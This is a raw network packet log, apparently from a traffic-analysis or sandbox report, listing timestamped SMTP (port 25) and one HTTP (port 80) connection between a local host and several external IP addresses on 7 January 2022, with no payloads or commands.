Jan 7, 2022 15:55:37.564904928 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.564918995 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.564932108 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.564951897 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.564960957 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.565012932 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.565031052 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.565036058 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.565045118 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.565088987 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.565108061 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.686273098 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.755472898 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.755506039 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.755522013 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.755584002 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.755584002 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.755604982 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.755616903 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.755621910 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.755629063 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.755721092 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.755737066 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.755784988 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.755870104 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.755898952 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.756052971 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.756071091 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.756084919 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.756139994 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.756177902 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.756352901 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.756422997 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.756467104 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.756501913 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.756577015 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.756663084 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.756720066 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.756823063 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.756876945 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.756942987 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.757021904 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.757282972 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.757344007 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.757359982 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.757375956 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.757392883 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.757409096 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.757452011 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.757462025 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.757483959 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.757524014 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.757535934 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.757539034 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.757550955 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.757551908 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.757571936 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.757590055 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.757597923 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.757961988 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.758443117 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.758460045 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.758502007 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.758517027 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.758569956 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.758833885 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.758889914 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.758917093 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.758964062 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.759027958 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.759043932 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.759073973 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.858134985 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:37.880103111 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.947585106 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.947614908 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.949291945 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.949337959 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.949410915 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.949454069 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.949470997 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.949569941 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.949649096 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.949666023 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.949681044 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.949767113 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.949784994 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.949824095 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:37.950391054 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.950699091 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.950725079 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.950848103 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:37.967549086 CET	49910	80	192.168.2.3	193.166.255.171
Jan 7, 2022 15:55:38.048238993 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:38.141731024 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:38.141851902 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:38.141896963 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:38.170620918 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:38.201237917 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:38.333692074 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:38.364288092 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:38.364411116 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:38.378597021 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:38.389265060 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:38.389383078 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:38.561697960 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:38.563030958 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:38.563076019 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:38.589476109 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:38.589586973 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:38.753321886 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:38.753377914 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:38.753509998 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:38.753562927 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:38.753719091 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:38.777478933 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:38.782026052 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:38.785259962 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:38.943574905 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:38.943593025 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:38.943600893 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:38.943707943 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:38.943860054 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:38.943943024 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:38.943993092 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:38.944077969 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:38.944441080 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:38.977289915 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:38.978820086 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:39.134053946 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:39.134084940 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:39.134102106 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:39.134274006 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:39.134459019 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:39.134682894 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:39.134718895 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:39.171801090 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:39.171972990 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:39.324621916 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:39.327327013 CET	25	49911	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:39.327455997 CET	49911	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:39.367836952 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:39.368227005 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:39.368935108 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:39.401890039 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:39.401916981 CET	25	49909	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:39.402410984 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:39.403126955 CET	49909	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:39.556925058 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:39.556947947 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:39.556955099 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:39.557248116 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:39.745132923 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:39.745153904 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:39.745165110 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:39.745174885 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:39.745206118 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:39.745289087 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:39.745335102 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:39.745417118 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:39.933607101 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:39.933634043 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:39.934514999 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:39.934571981 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:39.936342955 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:39.936362982 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:39.936374903 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:39.936387062 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:39.936415911 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:39.936456919 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:39.936506033 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:39.936533928 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:39.936570883 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:39.936614037 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:39.936635971 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:39.976116896 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:39.976239920 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:40.122836113 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.122857094 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.122867107 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.122874975 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.123219013 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:40.124247074 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.124355078 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:40.124526978 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.124541044 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.124634981 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:40.124639988 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.124711990 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.124744892 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:40.124813080 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:40.125046968 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.125061035 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.125071049 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.125082016 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.125089884 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.125211954 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:40.125266075 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:40.125273943 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.125309944 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.125350952 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.125366926 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.125444889 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.125462055 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.125478029 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.125499964 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:40.125544071 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:40.125556946 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:40.125886917 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.129112959 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:40.165649891 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.166105032 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:40.311254025 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.311400890 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.311580896 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:40.311644077 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:40.311912060 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.311996937 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.312019110 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.312216997 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:40.312304974 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.312412977 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:40.312498093 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.312613964 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:40.312771082 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.312903881 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:40.312925100 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.312949896 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.312971115 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.313086033 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:40.313121080 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:40.313220978 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.313245058 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.313299894 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.313323975 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.313345909 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.313374043 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:40.313442945 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:40.313486099 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:40.313694954 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.313715935 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.313735962 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.313821077 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:40.313875914 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:40.313889027 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.313913107 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.313973904 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:40.314001083 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.314022064 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.314040899 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:40.314043045 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.314065933 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.314125061 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:40.314199924 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:40.314254999 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.314315081 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.314333916 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.314356089 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.314376116 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:40.314440966 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:40.314506054 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:40.314565897 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.314589024 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.314677000 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.314697981 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.314704895 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:40.314721107 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.315171003 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.315192938 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.315213919 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.317009926 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.317298889 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.317320108 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.354165077 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.354192019 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.499991894 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.500040054 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.500070095 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.500147104 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.500319004 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.500344992 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.500370979 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.500400066 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.500425100 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.500452042 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.500965118 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.500996113 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.501549959 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.501575947 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.501604080 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.501630068 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.502079964 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.502108097 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.502134085 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.502937078 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.502964973 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.502990007 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.503015995 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.503041983 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.503401995 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.503429890 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.503454924 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.503482103 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.503509998 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.503628016 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.504125118 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.504189968 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.504220009 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.504393101 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.504419088 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.504507065 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.504534006 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.504683971 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:40.504740953 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:40.504772902 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:40.504812002 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:40.504864931 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.504903078 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.504930973 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.505007029 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.505501032 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.505530119 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.505557060 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.505582094 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.505608082 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.505634069 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.505706072 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:40.505758047 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:40.505791903 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:40.505825996 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:40.505852938 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:40.505877018 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:40.505948067 CET	49912	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:55:40.692641020 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.692663908 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.693073034 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.693141937 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.693552971 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.693572044 CET	25	49912	148.163.149.218	192.168.2.3
Jan 7, 2022 15:55:40.693866968 CET	25	49912	148.163.149.218	192.168.2.3
